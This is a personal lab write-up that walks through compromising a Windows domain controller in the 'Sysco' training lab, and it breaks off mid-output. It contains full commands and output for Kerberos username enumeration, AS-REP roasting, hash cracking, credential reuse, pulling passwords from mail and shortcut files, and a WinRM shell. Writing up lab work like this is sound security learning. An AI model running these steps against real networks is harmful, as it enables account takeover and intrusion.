> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hacksmarter-labs/sysco.md). # Sysco ## Enumeration ### Nmap ```bash PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack Simple DNS Plus 80/tcp open http syn-ack Apache httpd 2.4.58 ((Win64) OpenSSL/3.1.3 PHP/8.2.12) |_http-title: Index - Sysco MSP |_http-favicon: Unknown favicon MD5: DD229045B1B32B2F2407609235A23238 |_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 | http-methods: | Supported Methods: HEAD GET POST OPTIONS TRACE |_ Potentially risky methods: TRACE 88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2026-01-29 23:59:11Z) 135/tcp open msrpc syn-ack Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack 464/tcp open kpasswd5? syn-ack 593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack 3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: SYSCO.LOCAL0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack 3389/tcp open ms-wbt-server syn-ack Microsoft Terminal Services |_ssl-date: 2026-01-30T00:00:39+00:00; -1s from scanner time. | ssl-cert: Subject: commonName=DC01.SYSCO.LOCAL | Issuer: commonName=DC01.SYSCO.LOCAL rdp-ntlm-info: | Target_Name: SYSCO | NetBIOS_Domain_Name: SYSCO | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: SYSCO.LOCAL | DNS_Computer_Name: DC01.SYSCO.LOCAL | Product_Version: 10.0.20348 |_ System_Time: 2026-01-29T23:59:59+00:00 9389/tcp open mc-nmf syn-ack .NET Message Framing 49664/tcp open msrpc syn-ack Microsoft Windows RPC 49668/tcp open msrpc syn-ack Microsoft Windows RPC 49682/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0 49683/tcp open msrpc syn-ack Microsoft Windows RPC 49747/tcp open msrpc syn-ack Microsoft Windows RPC Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required | smb2-time: | date: 2026-01-30T00:00:00 |_ start_date: N/A | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 22633/tcp): CLEAN (Timeout) | Check 2 (port 35084/tcp): CLEAN (Timeout) | Check 3 (port 14353/udp): CLEAN (Timeout) | Check 4 (port 46904/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked |_clock-skew: mean: -1s, deviation: 0s, median: -1s ``` * SMBv3 Signing enabled and required * Port 80 with a Website * LDAP (check for anon bind) * RDP enabled #### HTTP Enumeration Application Functionality * Sysco MSP * Potential Usernames: * Greg Shields * Sarah Jhonson * Jack Downland * Lainey Moore * Contact Form * * We do not really know the email format for users yet ![testing-contact-form.png](/files/g11z54QzIoJcKSSMBcCU) ![contact-form-error.png](/files/5HLJEAm8WnbuLlEs552f) * The contact form might not be able to be abused Checked the main.js file, and doesn’t seem to be vulnerable or have creds in it Nothing in the storage either #### Testing the usernames against common passwords: * Tested with the 10k list, and used username-anarchy against it, but after 15 minutes it wasn’t working * Re-running with rockyou for 15 minutes #### enum4linux is didn’t work rpcclient and enumerating users and groups via nxc failed #### Checking for AS-REP Roasting ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  10.200.33.15   at 06:51:27 PM  ╰─ impacket-GetNPUsers sysco.local/ -usersfile userlist.txt -format hashcat -outputfile asrep_hashes.txt Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies /usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC). now = datetime.datetime.utcnow() + datetime.timedelta(days=1) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] User greg.shields doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] User lainey.moore doesn't have UF_DONT_REQUIRE_PREAUTH set [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) ``` * We have a couple of users that don’t have Don’t require preauth set * While this doesn’t mean AS-REP roasting, it does mean that I have two valid usernames: * greg.shields * lainey.moore #### However, I am an idiot and forgot the simple task of directory enumeration of the website! Running feroxbuster: ```bash 403 GET 11l 47w 419c 403 GET 11l 47w 419c 301 GET 9l 30w 338c => 403 GET 11l 47w 419c 301 GET 9l 30w 350c => ``` ![finding-roundcube-endpoint.png](/files/cY6rRCF2rAIQvzqZx5wP) ![roundcube-webmail.png](/files/zQCNHesq68KmcrjH5YuC) ![wappalyzer.png](/files/3d6hDfhhI3zUZbTc6k9J) #### What do we have so far: * Two confirmed usernames: `greg.shields` and `lainey.moore` from our AS-REP testing * A login form for RoundCube webmail #### Writeup hinted at using kerbrute to obtain usernames I already have these thanks to my earlier enumeration: ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  10.200.33.15   at 07:51:53 PM  ╰─ kerbrute userenum --domain SYSCO.LOCAL --dc dc01.sysco.local userlist.txt __ __ __ / /_____ _____/ /_ _______ __/ /____ / //_/ _ \\/ ___/ __ \\/ ___/ / / / __/ _ \\ / ,< / __/ / / /_/ / / / /_/ / /_/ __/ /_/|_|\\___/_/ /_.___/_/ \\__,_/\\__/\\___/ Version: v1.0.3 (9dad6e1) - 01/29/26 - Ronnie Flathers @ropnop 2026/01/29 19:52:06 > Using KDC(s): 2026/01/29 19:52:06 > dc01.sysco.local:88 2026/01/29 19:52:06 > [+] VALID USERNAME: greg.shields@SYSCO.LOCAL 2026/01/29 19:52:06 > [+] VALID USERNAME: lainey.moore@SYSCO.LOCAL 2026/01/29 19:52:06 > Done! Tested 58 usernames (2 valid) in 0.199 seconds ``` So a quick thing here, James, make sure you actually type in the names right, otherwise you’ll spend all day looking for a way in and the user is open all along. ![messingupjacksname.png](/files/sQEVZKlFUKFbnVKL4jyF) * jack dowland ![forcingkerbrutetogetitright.png](/files/AI7Vdy6EaNacv2RaaqB2) * Now that I know that I have another username to look for: * jack.dowland * brian.shields * lainey.moore #### AS-REP Roasting pt 2 ```bash ╭─ T2T SECURITY   ~/hsm/sysco   127 ✘  10.200.33.15   at 08:00:38 PM  ╰─ nxc ldap sysco.local -u users.txt -p '' --asreproast output.txt SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) LDAP 10.1.8.223 445 DC01 $krb5asrep$23$jack.dowland@SYSCO.LOCAL:0f3bbc154258688cbe728a44d8766e47$faf028cfb85e75281d44b1ef30f292794b27c225cd3df75d281623a917dc7a5aafcc10c1b89b9fac23aa70db6e87714d506fda299d1e474306ab3e1164edfa96ace7eccd61232fc267fcc67d41363a71cc092127b84885d523b87cce345d4e936856bfd999a0361537882767184614f12e5d866869e44ad0464b48ebbc3514314d4bca0f08a85ec085f0e1cc1a83e97e9c43dbccc758244b4b0a0e226a63a78389f0e63bd5d197a9fa0b2cae49e74f1cdd53b478bef7cd743bba908f4bf39f72b8cdd418acdaa83972029be2fb0ebcb26b3a5243e7b7b5cb2e36df6402504919a077611b6553431fce87 ``` Now to crack the hash: ```bash $krb5asrep$23$jack.dowland@SYSCO.LOCAL:0f3bbc154258688cbe728a44d8766e47$faf028cfb85e75281d44b1ef30f292794b27c225cd3df75d281623a917dc7a5aafcc10c1b89b9fac23aa70db6e87714d506fda299d1e474306ab3e1164edfa96ace7eccd61232fc267fcc67d41363a71cc092127b84885d523b87cce345d4e936856bfd999a0361537882767184614f12e5d866869e44ad0464b48ebbc3514314d4bca0f08a85ec085f0e1cc1a83e97e9c43dbccc758244b4b0a0e226a63a78389f0e63bd5d197a9fa0b2cae49e74f1cdd53b478bef7cd743bba908f4bf39f72b8cdd418acdaa83972029be2fb0ebcb26b3a5243e7b7b5cb2e36df6402504919a077611b6553431fce87:musicman1 Session..........: hashcat Status...........: Cracked ``` * This took all of three seconds to get his password: `musicman1` ![cracking-hash-1.png](/files/Yj18Mixc7tOXsfnH0eKP) ![cracking-hash-2.png](/files/vABdtpjtaQzBZnNvLoRx) We now have our first set of creds: ```bash jack.dowland:musicman1 ``` We need to enumerate all over again with these: #### SMB w/creds ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  took 3s   10.200.33.15   at 08:02:44 PM  ╰─ nxc smb sysco.local -u jack.dowland -p 'musicman1' --shares SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) SMB 10.1.8.223 445 DC01 [+] SYSCO.LOCAL\\jack.dowland:musicman1 SMB 10.1.8.223 445 DC01 [*] Enumerated shares SMB 10.1.8.223 445 DC01 Share Permissions Remark SMB 10.1.8.223 445 DC01 ----- ----------- ------ SMB 10.1.8.223 445 DC01 ADMIN$ Remote Admin SMB 10.1.8.223 445 DC01 C$ Default share SMB 10.1.8.223 445 DC01 IPC$ READ Remote IPC SMB 10.1.8.223 445 DC01 NETLOGON READ Logon server share SMB 10.1.8.223 445 DC01 SYSVOL READ Logon server share ``` ![jack-can-read.png](/files/oPQMS1OmFEsdwujFkaYv) #### Enumerating Users / Groups ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  took 3s   10.200.33.15   at 08:05:29 PM  ╰─ nxc smb sysco.local -u jack.dowland -p 'musicman1' --users SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) SMB 10.1.8.223 445 DC01 [+] SYSCO.LOCAL\\jack.dowland:musicman1 SMB 10.1.8.223 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.1.8.223 445 DC01 Administrator 2025-10-18 02:57:08 0 Built-in account for administering the computer/domain SMB 10.1.8.223 445 DC01 Guest 0 Built-in account for guest access to the computer/domain SMB 10.1.8.223 445 DC01 krbtgt 2025-10-18 04:20:44 0 Key Distribution Center Service Account SMB 10.1.8.223 445 DC01 jack.dowland 2025-10-18 04:48:47 0 Helpdesk Tier 1 SMB 10.1.8.223 445 DC01 lainey.moore 2025-10-18 04:50:14 0 System Engineer SMB 10.1.8.223 445 DC01 greg.shields 2025-10-18 04:51:59 31634 System Administrator ``` ![enumerating-users.png](/files/YpMXNiOwokKmONpGTQbJ) ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  took 4s   10.200.33.15   at 08:06:31 PM  ╰─ nxc smb sysco.local -u jack.dowland -p 'musicman1' --groups SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) SMB 10.1.8.223 445 DC01 [+] SYSCO.LOCAL\\jack.dowland:musicman1 SMB 10.1.8.223 445 DC01 [+] Enumerated domain group(s) SMB 10.1.8.223 445 DC01 DnsUpdateProxy membercount: 0 SMB 10.1.8.223 445 DC01 DnsAdmins membercount: 0 SMB 10.1.8.223 445 DC01 Enterprise Key Admins membercount: 0 SMB 10.1.8.223 445 DC01 Key Admins membercount: 0 SMB 10.1.8.223 445 DC01 Protected Users membercount: 0 SMB 10.1.8.223 445 DC01 Cloneable Domain Controllers membercount: 0 SMB 10.1.8.223 445 DC01 Enterprise Read-only Domain Controllers membercount: 0 SMB 10.1.8.223 445 DC01 Read-only Domain Controllers membercount: 0 SMB 10.1.8.223 445 DC01 Denied RODC Password Replication Group membercount: 8 SMB 10.1.8.223 445 DC01 Allowed RODC Password Replication Group membercount: 0 SMB 10.1.8.223 445 DC01 Terminal Server License Servers membercount: 0 SMB 10.1.8.223 445 DC01 Windows Authorization Access Group membercount: 1 SMB 10.1.8.223 445 DC01 Incoming Forest Trust Builders membercount: 0 SMB 10.1.8.223 445 DC01 Pre-Windows 2000 Compatible Access membercount: 1 SMB 10.1.8.223 445 DC01 Account Operators membercount: 0 SMB 10.1.8.223 445 DC01 Server Operators membercount: 0 SMB 10.1.8.223 445 DC01 RAS and IAS Servers membercount: 0 SMB 10.1.8.223 445 DC01 Group Policy Creator Owners membercount: 2 SMB 10.1.8.223 445 DC01 Domain Guests membercount: 0 SMB 10.1.8.223 445 DC01 Domain Users membercount: 0 SMB 10.1.8.223 445 DC01 Domain Admins membercount: 1 SMB 10.1.8.223 445 DC01 Cert Publishers membercount: 0 SMB 10.1.8.223 445 DC01 Enterprise Admins membercount: 1 SMB 10.1.8.223 445 DC01 Schema Admins membercount: 1 SMB 10.1.8.223 445 DC01 Domain Controllers membercount: 0 SMB 10.1.8.223 445 DC01 Domain Computers membercount: 0 SMB 10.1.8.223 445 DC01 Storage Replica Administrators membercount: 0 SMB 10.1.8.223 445 DC01 Remote Management Users membercount: 2 SMB 10.1.8.223 445 DC01 Access Control Assistance Operators membercount: 0 SMB 10.1.8.223 445 DC01 Hyper-V Administrators membercount: 0 SMB 10.1.8.223 445 DC01 RDS Management Servers membercount: 0 SMB 10.1.8.223 445 DC01 RDS Endpoint Servers membercount: 0 SMB 10.1.8.223 445 DC01 RDS Remote Access Servers membercount: 0 SMB 10.1.8.223 445 DC01 Certificate Service DCOM Access membercount: 0 SMB 10.1.8.223 445 DC01 Event Log Readers membercount: 0 SMB 10.1.8.223 445 DC01 Cryptographic Operators membercount: 0 SMB 10.1.8.223 445 DC01 IIS_IUSRS membercount: 1 SMB 10.1.8.223 445 DC01 Distributed COM Users membercount: 0 SMB 10.1.8.223 445 DC01 Performance Log Users membercount: 0 SMB 10.1.8.223 445 DC01 Performance Monitor Users membercount: 0 SMB 10.1.8.223 445 DC01 Network Configuration Operators membercount: 0 SMB 10.1.8.223 445 DC01 Remote Desktop Users membercount: 2 SMB 10.1.8.223 445 DC01 Replicator membercount: 0 SMB 10.1.8.223 445 DC01 Backup Operators membercount: 0 SMB 10.1.8.223 445 DC01 Print Operators membercount: 0 SMB 10.1.8.223 445 DC01 Guests membercount: 2 SMB 10.1.8.223 445 DC01 Users membercount: 3 SMB 10.1.8.223 445 DC01 Administrators membercount: 3 ``` Looking at the SMB shares now, and nothing really to see. Trying to Kerberoast, and no success: ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  10.200.33.15   at 08:11:58 PM  ╰─ sudo impacket-GetUserSPNs sysco.local/jack.dowland:musicman1 -dc-ip 10.1.8.223 -outputfile kerberoast_hashes.txt Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies No entries found! ``` No password re-use: ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  10.200.33.15   at 08:13:19 PM  ╰─ nxc smb sysco.local -u users.txt -p 'musicman1' --continue-on-success SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) SMB 10.1.8.223 445 DC01 [-] SYSCO.LOCAL\\greg.shields:musicman1 STATUS_LOGON_FAILURE SMB 10.1.8.223 445 DC01 [-] SYSCO.LOCAL\\lainey.moore:musicman1 STATUS_LOGON_FAILURE SMB 10.1.8.223 445 DC01 [+] SYSCO.LOCAL\\jack.dowland:musicman1 ``` Checked for certificate vulnerabilities, gpp autopasswords and autologin, zerologon, enum4linux with the `jack.dowland` user and nothing so far. #### Bloodhound ```bash ╭─ T2T SECURITY   /opt/Certipy  on   main   ✔  certipy-venv   10.200.33.15   at 08:24:51 PM  ╰─ nxc ldap 10.1.8.223 -u jack.dowland -p musicman1 --bloodhound --collection All --dns-server 10.1.8.223 SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) LDAP 10.1.8.223 389 DC01 [+] SYSCO.LOCAL\\jack.dowland:musicman1 LDAP 10.1.8.223 389 DC01 Resolved collection methods: localadmin, objectprops, acl, trusts, dcom, group, psremote, rdp, session, container LDAP 10.1.8.223 389 DC01 Done in 00M 07S LDAP 10.1.8.223 389 DC01 Compressing output into /home/malsr/.nxc/logs/DC01_10.1.8.223_2026-01-29_202626_bloodhound.zip ``` Nothing really there, so checking the creds to see if the `/roundcube/` login works with `jack.dowland` ![jack-dowland-creds-works-on-roundcube.png](/files/ghXrcqO9TNH5yikt9PO1) Found a router config file in the Sent mailbox to `lainey.moore` ![router-config-to-lainey.png](/files/ApPR9Z0ab1b6jotqwpcb) Found a potential password in the router.cfg file ![potential-password.png](/files/RNllqQ4oZ6ytp0WlrBhk) Ran it through hashcat and cracked it ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  took 6s   10.200.33.15   at 04:37:52 PM  ╰─ hashcat md5.hash /usr/share/wordlists/rockyou.txt hashcat (v6.2.6) starting in autodetect mode * Device #1: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: * Device #2: WARNING! Kernel exec timeout is not disabled. This may cause "CL_OUT_OF_RESOURCES" or related errors. To disable the timeout, see: nvmlDeviceGetFanSpeed(): Not Supported CUDA API (CUDA 12.4) ==================== * Device #1: NVIDIA GeForce RTX 3070 Laptop GPU, 7816/7966 MB, 40MCU OpenCL API (OpenCL 3.0 CUDA 12.4.131) - Platform #1 [NVIDIA Corporation] ======================================================================== * Device #2: NVIDIA GeForce RTX 3070 Laptop GPU, skipped OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #2 [The pocl project] ==================================================================================================================================================== * Device #3: cpu-skylake-avx512-11th Gen Intel(R) Core(TM) i7-11800H @ 2.30GHz, skipped Hash-mode was not specified with -m. Attempting to auto-detect hash mode. The following mode was auto-detected as the only one matching your input hash: 500 | md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) | Operating System NOTE: Auto-detect is best effort. The correct hash-mode is NOT guaranteed! Do NOT report auto-detect issues unless you are certain of the hash type. Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Optimizers applied: * Zero-Byte * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Pure kernels can crack longer passwords, but drastically reduce performance. If you want to switch to optimized kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Temperature abort trigger set to 90c Host memory required for this attack: 1470 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $1$mERr$isugnYiHsjHT.i.tc2GDY.:Chocolate1 Session..........: hashcat Status...........: Cracked Hash.Mode........: 500 (md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)) Hash.Target......: $1$mERr$isugnYiHsjHT.i.tc2GDY. Time.Started.....: Fri Jan 30 16:38:10 2026 (0 secs) Time.Estimated...: Fri Jan 30 16:38:10 2026 (0 secs) Kernel.Feature...: Pure Kernel Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 1443.1 kH/s (6.60ms) @ Accel:8 Loops:125 Thr:256 Vec:1 Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new) Progress.........: 81920/14344385 (0.57%) Rejected.........: 0/81920 (0.00%) Restore.Point....: 0/14344385 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:875-1000 Candidate.Engine.: Device Generator Candidates.#1....: 123456 -> janson Hardware.Mon.#1..: Temp: 39c Util: 92% Core:1485MHz Mem:6000MHz Bus:8 Started: Fri Jan 30 16:38:01 2026 Stopped: Fri Jan 30 16:38:11 2026 ``` ![cracked-the-hashpng.png](/files/DRLWKyYP2teDhazjybHW) ## Current Creds At This Point ```bash jack.dowland:musicman1 lainey.moore:Chocolate1 ``` ### Checking Shares with new creds ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  took 10s   10.200.33.15   at 04:38:11 PM  ╰─ nxc smb sysco.local -u lainey.moore -p 'Chocolate1' --shares SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) (signing:True) (SMBv1:False) SMB 10.1.8.223 445 DC01 [+] SYSCO.LOCAL\\lainey.moore:Chocolate1 SMB 10.1.8.223 445 DC01 [*] Enumerated shares SMB 10.1.8.223 445 DC01 Share Permissions Remark SMB 10.1.8.223 445 DC01 ----- ----------- ------ SMB 10.1.8.223 445 DC01 ADMIN$ Remote Admin SMB 10.1.8.223 445 DC01 C$ Default share SMB 10.1.8.223 445 DC01 IPC$ READ Remote IPC SMB 10.1.8.223 445 DC01 NETLOGON READ Logon server share SMB 10.1.8.223 445 DC01 SYSVOL READ Logon server share ``` * Nothing different here ### Bloodhound collection and enum ```bash Nothing particularly interesting, other than she's part of remote management ``` ### evil-winrm ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  10.200.33.15   at 04:46:18 PM  ╰─ sudo evil-winrm -i SYSCO.LOCAL -u lainey.moore -p 'Chocolate1' Evil-WinRM shell v3.5 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> ``` > It should be noted that just putting in the IP address did NOT work for a connection. ## User.txt ```bash *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> type C:\\Users\\lainey.moore\\Desktop\\user.txt 5efd12c8bc80b6882fa86f5698b14dc6 *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> ``` ## Privilege Escalation Found notes in the Documents section; had to rename the file to download it ```bash *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> download Putty - HS Router login.lnk Info: Downloading C:\\Users\\lainey.moore\\Documents\\login.lnk to login.lnk Error: Download failed. Check filenames or paths *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> download 'Putty - HS Router login.lnk' Info: Downloading C:\\Users\\lainey.moore\\Documents\\login.lnk' to login.lnk' Error: Download failed. Check filenames or paths *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> type "Putty - HS Router login.lnk" *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> cat 'Putty - HS Router login.lnk' *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> download "Putty - HS router login.lnk" Info: Downloading C:\\Users\\lainey.moore\\Documents\\login.lnk to login.lnk Error: Download failed. Check filenames or paths *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> Rename-Item -Path "C:\\Users\\lainey.moore\\Documents\\Putty - HS Router login.lnk" -NewName "link.lnk" *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> ls Directory: C:\\Users\\lainey.moore\\Documents Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 10/17/2025 10:32 PM 1062 link.lnk -a---- 10/17/2025 10:42 PM 172 notes.txt -a---- 10/17/2025 10:24 PM 1709672 putty.exe *Evil-WinRM* PS C:\\Users\\lainey.moore\\Documents> ``` Downloading and installing the liblnk library to read the lnk file: ```bash ╭─ T2T SECURITY   ~/hsm/sysco   100 ✘  10.200.33.15   at 05:06:27 PM  ╰─ sudo apt install liblnk-utils -y The following package was automatically installed and is no longer required: dconf-editor Use 'sudo apt autoremove' to remove it. Installing: liblnk-utils Installing dependencies: liblnk1t64 Summary: Upgrading: 0, Installing: 2, Removing: 0, Not Upgrading: 30 Download size: 738 kB Space needed: 2,247 kB / 448 GB available Get:1 trixie/main amd64 liblnk1t64 amd64 20240423-1 [421 kB] Get:2 trixie/main amd64 liblnk-utils amd64 20240423-1 [317 kB] Fetched 738 kB in 0s (2,821 kB/s) Selecting previously unselected package liblnk1t64:amd64. (Reading database ... 600328 files and directories currently installed.) Preparing to unpack .../liblnk1t64_20240423-1_amd64.deb ... Unpacking liblnk1t64:amd64 (20240423-1) ... Selecting previously unselected package liblnk-utils. Preparing to unpack .../liblnk-utils_20240423-1_amd64.deb ... Unpacking liblnk-utils (20240423-1) ... Setting up liblnk1t64:amd64 (20240423-1) ... Setting up liblnk-utils (20240423-1) ... Processing triggers for man-db (2.13.1-1) ... Processing triggers for libc-bin (2.41-12+deb13u1) ... Scanning processes... Scanning processor microcode... Scanning linux images... Running kernel seems to be up-to-date. The processor microcode seems to be up-to-date. No services need to be restarted. No containers need to be restarted. No user sessions are running outdated binaries. No VM guests are running outdated hypervisor (qemu) binaries on this host. -------------------------------------------------- [!] Scanning application launchers Removing duplicate or broken launchers... [!] Launchers have been successfully updated! -------------------------------------------------- ``` New password found! ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  10.200.33.15   at 05:07:09 PM  ╰─ lnkinfo "link.lnk" lnkinfo 20240423 Windows Shortcut information: Contains a link target identifier Contains a relative path string Contains a working directory string Contains a command line arguments string Number of data blocks : 2 Link information: Creation time : Oct 18, 2025 05:24:50.324874400 UTC Modification time : Oct 18, 2025 05:24:54.226696600 UTC Access time : Oct 18, 2025 05:24:54.226696600 UTC File size : 1709672 bytes Icon index : 0 Show Window value : 0x00000001 Hot Key value : 0 File attribute flags : 0x00000020 Should be archived (FILE_ATTRIBUTE_ARCHIVE) Drive type : Fixed (3) Drive serial number : 0x503f9bb2 Volume label : Local path : C:\\\\Users\\\\lainey.moore\\\\Documents\\\\putty.exe Relative path : .\\\\putty.exe Working directory : C:\\\\Users\\\\lainey.moore\\\\Documents Command line arguments : -ssh netadmin@10.0.0.1 -pw 5y5coSmarter2025!!! Link target identifier: Shell item list Number of items : 3 Shell item: 1 Item type : Root folder Class type indicator : 0x1f (Root folder) Shell folder identifier : 20d04fe0-3aea-1069-a2d8-08002b30309d Shell folder name : My Computer Shell item: 2 Item type : Volume Class type indicator : 0x2e (Volume) Shell item: 3 Item type : File entry Class type indicator : 0x32 (File entry: File) Name : putty.exe Modification time : Oct 18, 2025 05:24:56 File attribute flags : 0x00000020 Should be archived (FILE_ATTRIBUTE_ARCHIVE) Extension block: 1 Signature : 0xbeef0004 (File entry extension) Long name : putty.exe Creation time : Oct 18, 2025 05:24:52 Access time : Oct 18, 2025 05:24:56 NTFS file reference : MFT entry: 101460, sequence: 3 Data block: 1 Signature : 0xa0000003 (Distributed link tracker properties) Machine identifier : dc01 Droid volume identifier : 067cc002-d120-431f-a9e5-a0e1c87529af Droid file identifier : c7fd1387-abd9-11f0-8068-000c296ab891 Birth droid volume identifier : 067cc002-d120-431f-a9e5-a0e1c87529af Birth droid file identifier : c7fd1387-abd9-11f0-8068-000c296ab891 Data block: 2 Signature : 0xa0000009 (Metadata property store) Property: {dabd30ed-0043-4789-a7f8-d013a4736622}/100 (PKEY_ItemFolderPathDisplayNarrow) Value (0x001f) : Documents (C:\\Users\\lainey.moore) Property: {b725f130-47ef-101a-a5f1-02608c9eebac}/10 (PKEY_ItemNameDisplay) Value (0x001f) : putty.exe Property: {b725f130-47ef-101a-a5f1-02608c9eebac}/15 (PKEY_DateCreated) Value (0x0040) : Oct 18, 2025 05:24:52.000000000 UTC Property: {b725f130-47ef-101a-a5f1-02608c9eebac}/12 (Unknown) Value (0x0015) : 1709672 Property: {b725f130-47ef-101a-a5f1-02608c9eebac}/4 (PKEY_ItemTypeText) Value (0x001f) : Application Property: {b725f130-47ef-101a-a5f1-02608c9eebac}/14 (PKEY_DateModified) Value (0x0040) : Oct 18, 2025 05:24:54.226696600 UTC Property: {28636aa6-953d-11d2-b5d6-00c04fd918d0}/30 (PKEY_ParsingPath) Value (0x001f) : C:\\\\Users\\\\lainey.moore\\\\Documents\\\\putty.exe Property: {446d16b1-8dad-4870-a748-402ea43d788c}/104 (System.VolumeId) Value (0x0048) : 17494c6c-6198-4a74-bd1e-2c51cbc27f96 ``` ![ssh-creds-in-lnk-file.png](/files/bc7ac9Hfo9nTRGTGiQn7) HAD a hunch that the new creds might work for `greg.shields` and would you fucking look at that…they do ```bash ╭─ T2T SECURITY   ~/hsm/sysco   ✔  10.200.33.15   at 05:18:23 PM  ╰─ nxc ldap sysco.local -u greg.shields -p '5y5coSmarter2025!!!' SMB 10.1.8.223 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:SYSCO.LOCAL) 